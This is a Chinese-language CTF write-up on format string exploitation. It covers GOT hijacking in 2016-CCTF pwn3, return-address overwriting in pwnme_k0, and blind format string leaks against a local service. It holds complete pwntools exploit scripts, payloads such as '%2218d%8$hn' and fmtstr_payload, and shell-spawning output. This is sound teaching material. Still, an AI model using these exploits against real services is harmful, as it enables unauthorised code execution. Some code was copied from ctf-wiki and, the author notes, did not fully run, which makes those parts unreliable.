IDA看一下流程：

看一下main函数，就是一个菜单，一开始先输入密码，然后校验，只有输入“rxraclhm”才能登录。而后功能分为put_file()、show_dir()、get_file()。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {signed int v3;  // eaxint v4;         // [esp+14h] [ebp-2Ch]int v5;         // [esp+3Ch] [ebp-4h]setbuf(stdout, 0);ask_username((char *)&v4);  // 输入用户名ask_password((char *)&v4);  // 只有用户名是rxraclhm才能登录while (1) {while (1) {print_prompt();v3 = get_command();  // 输入命令v5 = v3;if (v3 != 2) break;put_file();  // 输入名字和内容}if (v3 == 3) {show_dir();} else {if (v3 != 1) exit(1);get_file();  // 按照文件名获取文件内容}}
}

看一下不同的功能函数，首先看一下put_file()：

file *put_file()
{file *v0; // ST1C_4file *result; // eaxv0 = (file *)malloc(244u);printf("please enter the name of the file you want to upload:");// 输入名字和内容get_input((int)v0, 40, 1);printf("then, enter the content:");get_input((int)v0->content, 200, 1);v0->previous = file_head;                     // 尾插法result = v0;file_head = (int)v0;return result;
}

这个函数每次让输入一个name + content，组成一个结构体，头插法放入链表。

看一下get_file()函数：

int get_file()
{char dest; // [esp+1Ch] [ebp-FCh]char s1; // [esp+E4h] [ebp-34h]char *i; // [esp+10Ch] [ebp-Ch]printf("enter the file name you want to get:");__isoc99_scanf("%40s", &s1);if ( !strncmp(&s1, "flag", 4u) )puts("too young, too simple");for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ){if ( !strcmp(i, &s1) )                      // 遍历，看是否找到需要的文件名{strcpy(&dest, i + 0x28);                  // 找到的话，把内容放在dest里面return printf(&dest);                     // 如果都没有找到，那就打印栈上的dest// 这里存在格式化字符串的漏洞}}return printf(&dest);
}

这个函数需要输入查找的文件的名字，然后返回它的内容。里面存在格式化字符串漏洞，同时，查找到的内容会存储在栈上变量dest内。因此，我们可以使用格式化字符串漏洞打印栈上任意内容，或者打印栈上存储的地址对应的内容（也就是进行1.3.2.1.2的利用）

再看一下show_dir()：

int show_dir()
{int v0; // eaxchar s[1024]; // [esp+14h] [ebp-414h]int i; // [esp+414h] [ebp-14h]int j; // [esp+418h] [ebp-10h]int v5; // [esp+41Ch] [ebp-Ch]v5 = 0;j = 0;bzero(s, 0x400u);                             // 清空内容for ( i = file_head; i; i = *(_DWORD *)(i + 240) ){for ( j = 0; *(_BYTE *)(i + j); ++j ){v0 = v5++;s[v0] = *(_BYTE *)(i + j);                // 把文件名字都存放在s里面}}return puts(s);                               // 打印文件名字
}

这个函数会把所以存储的file的name连在一起打印出来，打印时使用puts()函数进行。

我们得到基本的思路：

1. 泄露puts真实地址
2. 利用puts真实地址在libc中查询到system()地址
3. 替换puts()地址为system()地址
4. 调用puts()，触发system()，获得shell

下面进行具体分析：

1. 泄露puts真实地址

因为get_file()会根据name对content进行查找，然后把content放在栈上，利用printf()进行打印，且这里的printf()有格式化字符串漏洞。因此，我们可以首先利用put_file()把got[“puts”]作为content存储，然后get_file()寻找出来，再去算一下got[“puts”]在栈上的偏移，利用格式化字符串漏洞泄露出来。

我们用gdb看一下偏移：

我们在get_file()的printf打个断点：

 ► 0x804889e <get_file+168>     call   printf@plt <printf@plt>format: 0xffffcffc ◂— '%6$s0x804a028'vararg: 0x804b5d8 ◂— '%6$s0x804a028'0x80488a3 <get_file+173>     leave  0x80488a4 <get_file+174>     ret    0x80488a5 <get_command>      push   ebp0x80488a6 <get_command+1>    mov    ebp, esp0x80488a8 <get_command+3>    sub    esp, 0x28
────────────[ STACK ]──────────────
pwndbg> stack 20
00:0000│ esp     0xffffcfe0 —▸ 0xffffcffc ◂— '%6$s0x804a028'
01:0004│         0xffffcfe4 —▸ 0x804b5d8 ◂— '%6$s0x804a028'
02:0008│         0xffffcfe8 ◂— 0x4
03:000c│         0xffffcfec —▸ 0x804a080 (stdout@@GLIBC_2.0) —▸ 0xf7fb4d20 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0010│         0xffffcff0 —▸ 0xf7fb56f4 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0xf7e48d00 (_IO_cleanup) ◂— endbr32 
05:0014│         0xffffcff4 ◂— 0x7d4
06:0018│         0xffffcff8 —▸ 0xf7fb4f20 (_IO_helper_jumps) ◂— 0x0
07:001c│ eax edx 0xffffcffc ◂— '%6$s0x804a028'
08:0020│         0xffffd000 ◂— '0x804a028'

可以看到0x804a028是在栈上偏移为9的位置，也就是格式化字符串的第8个参数，因此我们设置payload = %8$s[puts_got]

2. 利用puts真实地址在libc中查询到system()地址

这个题目给了一个libc.so，但是因为我的环境是ubuntu20.04，无法使用，用了ldd发现是libc.so.6

$ ldd pwn3linux-gate.so.1 (0xf7f08000)libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d02000)/lib/ld-linux.so.2 (0xf7f0a000)

因为没开pie，所以读取system()即可

3. 替换puts()地址为system()地址

还是利用get_file()函数里面的格式化字符串漏洞，我们可以实现任意地址写，所以直接把puts_got处写入system()真实地址即可。

4. 调用puts()，触发system()，获得shell

show_dir()函数可以利用puts()打印所有的name，但是因为我们已经用system()对puts()进行替换了，所以调用的就是system()，只需要把“/bin/sh”作为文件的name即可。

看一下exp：

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
pwn3 = ELF('./pwn3')
sh = process('./pwn3')def get(name):sh.sendline('get')sh.recvuntil('enter the file name you want to get:')sh.sendline(name)data = sh.recv()return datadef put(name, content):sh.sendline('put')sh.recvuntil('please enter the name of the file you want to upload:')sh.sendline(name)sh.recvuntil('then, enter the content:')sh.sendline(content)def show_dir():sh.sendline('dir')tmp = 'sysbdmin'
name = ""
for i in tmp:name += chr(ord(i) - 1)
print name# password
def password():sh.recvuntil('Name (ftp.hacker.server:Rainism):')sh.sendline(name)
# rxraclhm
# 0x804a028# password
password()# 1.利用get_file()泄露got地址
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])
log.success('puts_addr: ' + hex(puts_addr))# 2.libc库中泄露system()函数地址
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
log.success('system addr : ' + hex(system_addr))# 3.将puts()篡改为system()
payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
# gdb.attach(sh)
sh.sendline('/bin/sh;')# 4.执行show_dir()触发puts()函数，也就是执行system()函数
# system('/bin/sh')
show_dir()
sh.interactive()

python跑起来：

$ python2 exp.py 
[*] '/mnt/d/study/ctf/\xe8\xb5\x84\xe6\x96\x99/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
[+] Starting local process './pwn3': pid 14458
rxraclhm
[+] puts got : 0x804a028
[+] puts_addr: 0xf7de8cd0
[*] '/lib/i386-linux-gnu/libc.so.6'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled
[+] system addr : 0xf7dbc830
[*] Switching to interactive mode�                                                                                                                                                       \x04         

2.3 hijack retaddr

2.3.1 习题信息

习题来自：ctf-challenges/pwn/fmtstr/三个白帽-pwnme_k0

2.3.2 程序分析

checksec一下：

$ checksec pwnme_k0
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/fmtstr/三个白帽-pwnme_k0/pwnme_k0Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

可以看到是64位程序，且relro全开，开启了nx

大概看一下程序的功能：

$ ./pwnme_k0
**********************************************
*                                            *
*Welcome to sangebaimao,Pwnn me and have fun!*
*                                            *
**********************************************
Register Account first!
Input your username(max lenth:20):
123
Input your password(max lenth:20):
123
Register Success!!
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>1
Welc0me to sangebaimao!
123
123
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>2
please input new username(max lenth:20):
456
please input new password(max lenth:20):
456
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>1
Welc0me to sangebaimao!
456
456
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>3
byebyeT.T

可以看到，程序一开始有个登录，让你输入一个账户密码。之后跳出程序的菜单，菜单有3个选项，打印信息/修改信息/退出程序。

用IDA看一下程序，发现打印用户信息的函数sub_400B07()存在格式化字符串漏洞：

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);printf(&formata, "Welc0me to sangebaimao!\n");return printf((const char *)&a9 + 4);
}

最后一个语句，它打印a9+4，也就是前面存储的用户的密码，既然存在格式化字符串漏洞，那么就可以实现任意地址泄露和任意地址写。
继续IDA分析，看到字符串有：

.rodata:0000000000400F38	00000008	C	/bin/sh

进一步发现存在system("/bin/sh")：

.text:00000000004008A6                               ; __unwind {
.text:00000000004008A6 55                            push    rbp
.text:00000000004008A7 48 89 E5                      mov     rbp, rsp
.text:00000000004008AA BF 38 0F 40 00                mov     edi, offset command   ; "/bin/sh"
.text:00000000004008AF E8 B4 FE FF FF                call    system
.text:00000000004008B4 5F                            pop     rdi
.text:00000000004008B5 5E                            pop     rsi
.text:00000000004008B6 5A                            pop     rdx
.text:00000000004008B7 C3                            retn

那么，可以得到思路，格式化字符串泄露ret地址，然后再格式化字符串对ret地址进行修改，让其执行system("/bin/sh")，从而得到shell。

我们用gdb分析一下printf执行时的栈帧，看一下如何去泄露ret地址。

gdb打开程序，设置用户名为123，密码为456，然后断点在格式化字符串的地方：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xDsUb8L3-1635518717264)(https://i.loli.net/2021/10/29/3oUun2HdtSNq47w.png)]

发现 ebp = 0x7fffffffe150, ret = 0x7fffffffe118

注意：0x7fffffffe150 表示的是当前栈的ebp，也就是调用 printf函数的那个栈的ebp。

而 ebp - ret = 0x7fffffffe150 - 0x7fffffffe118 = 0x38

也就是说，如果能够通过格式化字符串漏洞泄露出ebp，也就能够通过偏移得到ret的地址。之所以需要泄露ebp，是因为每次ebp都会变化。

得到ret的地址，再次通过格式化字符串漏洞修改ret为system的地址即可。

从上图我们可以看出来，ebp是在栈上第7个位置，也就是格式化字符串的第6个参数，所以payload设定为%6$p，然后减去0x38就能够得到ret。

同时，我们发现ret的前4个字节和system（00000000004008AA）的前4个字节相同，只需要修改ret的后4个字节即可。而用户名被写在了格式化字符串的第8个参数上，那么我们可以执行sub_400B41()，修改用户名为ret的地址，ret就会被写在格式化字符串的第8个参数上。然后触发格式化字符串漏洞，将这个位置的后4个字节修改为0x08AA即可，也就是修改为2218，所以输入payload=%2218d%8$hn

exp如下：

#coding=utf-8
from pwn import *
sh = process("./pwnme_k0")
binary = ELF("./pwnme_k0")
#gdb.attach(sh,'b *0x400b39')
sh.recv()
sh.sendline("1111")  # 第一次登陆的用户名
sh.recv()
sh.sendline("%6$p")  # 第一次登陆的密码，用来将rbp中的值泄露出来
sh.recv()
sh.sendline("1")  # 选择1操作执行打印用户信息进行泄露
sh.recvuntil("0x")
recv = sh.recvline()  # 获得rbp中的值
print "ebp addr" + str(recv)
ret_addr = int(recv, 16) - 0x38  # 计算ret返回地址所在内存地址
print "ret addr" + str(ret_addr)
sh.recv()
sh.sendline("2")  # 选择2操作执行用户信息修改操作
sh.recv()
sh.sendline(p64(ret_addr))  # 将ret返回地址所在内存地址写在用户名位置
sh.recv()
sh.sendline("%2218d%8$hn")  # 将覆盖操作写在用户密码位置，2218 = 0x8AA
sh.recv()
sh.sendline("1")  # 执行打印拿shell
sh.recv()
sh.interactive()

成功获取shell：

$ python2 exp.py
[+] Starting local process './pwnme_k0': pid 869
[*] '/mnt/d/study/ctf/\xe8\xb5\x84\xe6\x96\x99/ctf-challenges/pwn/fmtstr/\xe4\xb8\x89\xe4\xb8\xaa\xe7\x99\xbd\xe5\xb8\xbd-pwnme_k0/pwnme_k0'Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)
ebp addr7ffff6110920ret addr140737321699560
[*] Switching to interactive mode
$
[*] Interrupted
[*] Stopped process './pwnme_k0' (pid 869)

这里再介绍一种利用方式：

因为不仅是账户，密码也会被放在栈上，因此我们可以直接把需要覆盖的ret放在密码里面，然后看一下这个ret的偏移。

用户名123，密码：%2218d%12$n33333333

我们把还是看一下原来断点的地方的栈帧：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L6j1Dlzn-1635518717267)(https://i.loli.net/2021/10/29/p8hgQIdtP5UqBmD.png)]

发现填入的333333333在格式化字符串的第12个参数位置。因此，我们当我们把ret放在密码里面按照上述构造后，会恰好出现在格式化字符串的第12个参数位置，然后我们将其进行修改即可。

exp如下：

from pwn import *
elf = ELF('./pwnme_k0')
p = process('./pwnme_k0')
#gdb.attach(p,'b *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data = p.recvuntil('>')
data = data.split('\n')[1]
ret_addr = int(data, 16)-0x38
p.sendline('2')
p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2218d%12$hn"
payload += p64(ret_addr)
print payload
# gdb.attach(p, 'b *0x400B39')
p.send(payload)
# gdb.attach()
p.recvuntil('>')
p.sendline('1')
p.interactive()

运行结果：

$ python2 exp2.py
[*] '/mnt/d/study/ctf/\xe8\xb5\x84\xe6\x96\x99/ctf-challenges/pwn/fmtstr/\xe4\xb8\x89\xe4\xb8\xaa\xe7\x99\xbd\xe5\xb8\xbd-pwnme_k0/pwnme_k0'Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)
[+] Starting local process './pwnme_k0': pid 1001
%2218d%12$hn\xa8w���\x00
[*] Switching to interactive mode
bbbbbbbb
\x17��\x7f$

2.4 堆上的格式化字符串漏洞

嘎嘎嘎鸽鸽鸽

2.5 格式化字符串盲打

2.5.1 泄露栈

2.5.1.1 习题信息

习题来自：ctf-challenges/pwn/fmtstr/blind_fmt_got

2.5.1.2 程序分析

先把程序用脚本挂在端口上：

$ ./deploy.sh 

然后连接下程序进行测试：

$ nc localhost 9999
%p
0x7ffde48bcbd0
�dflag is on the stack

输入%p，发现返回一个0x7ffde48bcbd0，8字节，那么程序就是64位，且猜测存在格式化字符串漏洞（这个地址应该是来自于栈上的地址）

那么我们就可以使用如下的脚本把栈上的内容泄露出来：

from pwn import *
context.log_level = 'error'def leak(payload):sh = remote('127.0.0.1', 9999)sh.sendline(payload)data = sh.recvuntil('\n', drop=True)if data.startswith('0x'):print p64(int(data, 16))sh.close()i = 1
while 1:payload = '%{}$p'.format(i)leak(payload)i += 1

运行结果：

\x00\x00\x00\x00
flag{thi
s_is_fla
g}\x00\x00\x00
\x00\x00�

可以看到栈上内容被逐渐打印出来，其中就包含flag

上面的程序源码为：

// gcc -fno-stack-protector main.c -o blind
#include <stdio.h>
int main() {char flag[100] = "flag{this_is_flag}";char input[512];read(0, input, 512);printf(input);printf("flag is on the stack");return 0;
}

2.5.2 盲打劫持got

关于2.5.2的内容主要参考ctf-wiki，有些地方代码没有跑通，但是为了知识点完整性和系统性，搬运了一些ctf-wiki的内容。

2.5.2.1 习题信息

习题来自：ctf-challenges/pwn/fmtstr/blind_fmt_got

2.5.2.2 程序分析

也是一样先挂到999端口：

$ ./deploy.sh 

然后连接：

$ nc localhost 9999
%p
0x7ffc6aa36630

可以看出来是64位程序，但是没有其他的回显信息，猜测也是存在格式化字符串漏洞。

那么就把整个二进制文件给泄露出来，脚本如下：

##coding=utf8
from pwn import *##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999def leak(addr):# leak addr for three timesnum = 0while num < 3:try:print 'leak addr: ' + hex(addr)sh = remote(ip, port)payload = '%00008$s' + 'STARTEND' + p64(addr)# 说明有\n，出现新的一行if '\x0a' in payload:return Nonesh.sendline(payload)data = sh.recvuntil('STARTEND', drop=True)sh.close()return dataexcept Exception:num += 1continuereturn Nonedef getbinary():addr = 0x400000f = open('binary', 'w')while addr < 0x401000:data = leak(addr)if data is None:f.write('\xff')addr += 1elif len(data) == 0:f.write('\x00')addr += 1else:f.write(data)addr += len(data)f.close()
getbinary()

需要注意的是，在 payload 中需要判断是否有 ‘\n’ 出现，因为这样会导致源程序只读取前面的内容，而没有办法泄露内存，所以需要跳过这样的地址。

得到二进制文件binary，然后IDA打开：

seg000:00000000004005F6                 push    rbp
seg000:00000000004005F7                 mov     rbp, rsp
seg000:00000000004005FA                 add     rsp, 0FFFFFFFFFFFFFF80h
seg000:00000000004005FE
seg000:00000000004005FE loc_4005FE:                             ; CODE XREF: seg000:0000000000400639j
seg000:00000000004005FE                 lea     rax, [rbp-80h]
seg000:0000000000400602                 mov     edx, 80h ; '€'
seg000:0000000000400607                 mov     rsi, rax
seg000:000000000040060A                 mov     edi, 0
seg000:000000000040060F                 mov     eax, 0
seg000:0000000000400614                 call    sub_4004C0
seg000:0000000000400619                 lea     rax, [rbp-80h]
seg000:000000000040061D                 mov     rdi, rax
seg000:0000000000400620                 mov     eax, 0
seg000:0000000000400625                 call    sub_4004B0
seg000:000000000040062A                 mov     rax, cs:601048h
seg000:0000000000400631                 mov     rdi, rax
seg000:0000000000400634                 call    near ptr unk_4004E0
seg000:0000000000400639                 jmp     short loc_4005FE

可以基本确定的是 sub_4004C0 为 read 函数，因为读入函数一共有三个参数的话，基本就是 read 了。此外，下面调用的 sub_4004B0 应该就是输出函数了，再之后应该又调用了一个函数，此后又重新跳到读入函数处，那程序应该是一个 while 1 的循环，一直在执行。

那么，我们大概就搞明白了程序的执行流程，也就是一个read函数向buf内读入数据，然后再调用一个有格式化字符串漏洞的printf打印buf。

我们可以利用之前hijack got的技巧，将printf替换为system，然后再次触发read和printf，这一次传入的参数为"/bin/sh"，来获取shell。但是因为不知道system()地址，那就是ret2libc的思路，首先泄露一下printf的地址（这个直接使用格式化字符串漏洞，打印出printf_got），然后和libc[“printf”]做个差，得到libc的基地址。之后就能得到system()的地址了。

整个exp如下：

##coding=utf8
import math
from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
context.arch = 'amd64'
ip = "127.0.0.1"
port = 9999def leak(addr):# leak addr for three timesnum = 0while num < 3:try:print 'leak addr: ' + hex(addr)sh = remote(ip, port)payload = '%00008$s' + 'STARTEND' + p64(addr)# 说明有\n，出现新的一行if '\x0a' in payload:return Nonesh.sendline(payload)data = sh.recvuntil('STARTEND', drop=True)sh.close()return dataexcept Exception:num += 1continuereturn Nonedef getbinary():addr = 0x400000f = open('binary', 'w')while addr < 0x401000:data = leak(addr)if data is None:f.write('\xff')addr += 1elif len(data) == 0:f.write('\x00')addr += 1else:f.write(data)addr += len(data)f.close()##getbinary()
read_got = 0x601020
printf_got = 0x601018
sh = remote(ip, port)
## let the read get resolved
sh.sendline('a')
sh.recv()
## get printf addr
payload = '%00008$s' + 'STARTEND' + p64(read_got)
sh.sendline(payload)
data = sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00')
sh.recv()
read_addr = u64(data)## get system addr
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
log.success('system addr: ' + hex(system_addr))
log.success('read   addr: ' + hex(read_addr))
## modify printf_got
payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short')
## get all the addr
addr = payload[:32]
payload = '%32d' + payload[32:]
offset = (int)(math.ceil(len(payload) / 8.0) + 1)
for i in range(6, 10):old = '%{}$'.format(i)new = '%{}$'.format(offset + i)payload = payload.replace(old, new)
remainer = len(payload) % 8
payload += (8 - remainer) * 'a'
payload += addr
sh.sendline(payload)
sh.recv()## get shell
sh.sendline('/bin/sh;')
sh.interactive()

前面都很好理解，重点看一下这段代码：

## modify printf_got
payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short')
## get all the addr
addr = payload[:32]
payload = '%32d' + payload[32:]
offset = (int)(math.ceil(len(payload) / 8.0) + 1)
for i in range(6, 10):old = '%{}$'.format(i)new = '%{}$'.format(offset + i)payload = payload.replace(old, new)
remainer = len(payload) % 8
payload += (8 - remainer) * 'a'
payload += addr
sh.sendline(payload)
sh.recv()

fmtstr_payload 直接得到的 payload 会将地址放在前面，而这个会导致 printf 的时候 ‘\x00’ 截断（关于这一问题，pwntools 目前正在开发 fmt_payload 的加强版，估计快开发出来了。）。所以使用了一些技巧将它放在后面了。主要的思想是，将地址放在后面 8 字节对齐的地方，并对 payload 中的偏移进行修改。需要注意的是

offset = (int)(math.ceil(len(payload) / 8.0) + 1)

这一行给出了修改后的地址在格式化字符串中的偏移，之所以是这样在于无论如何修改，由于 ‘%order$hn’ 中 order 多出来的字符都不会大于 8。具体的可以自行推导。

参考：

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#_35

https://blog.csdn.net/qq_41202237/article/details/107833668

https://blog.csdn.net/qq_41202237/article/details/107662273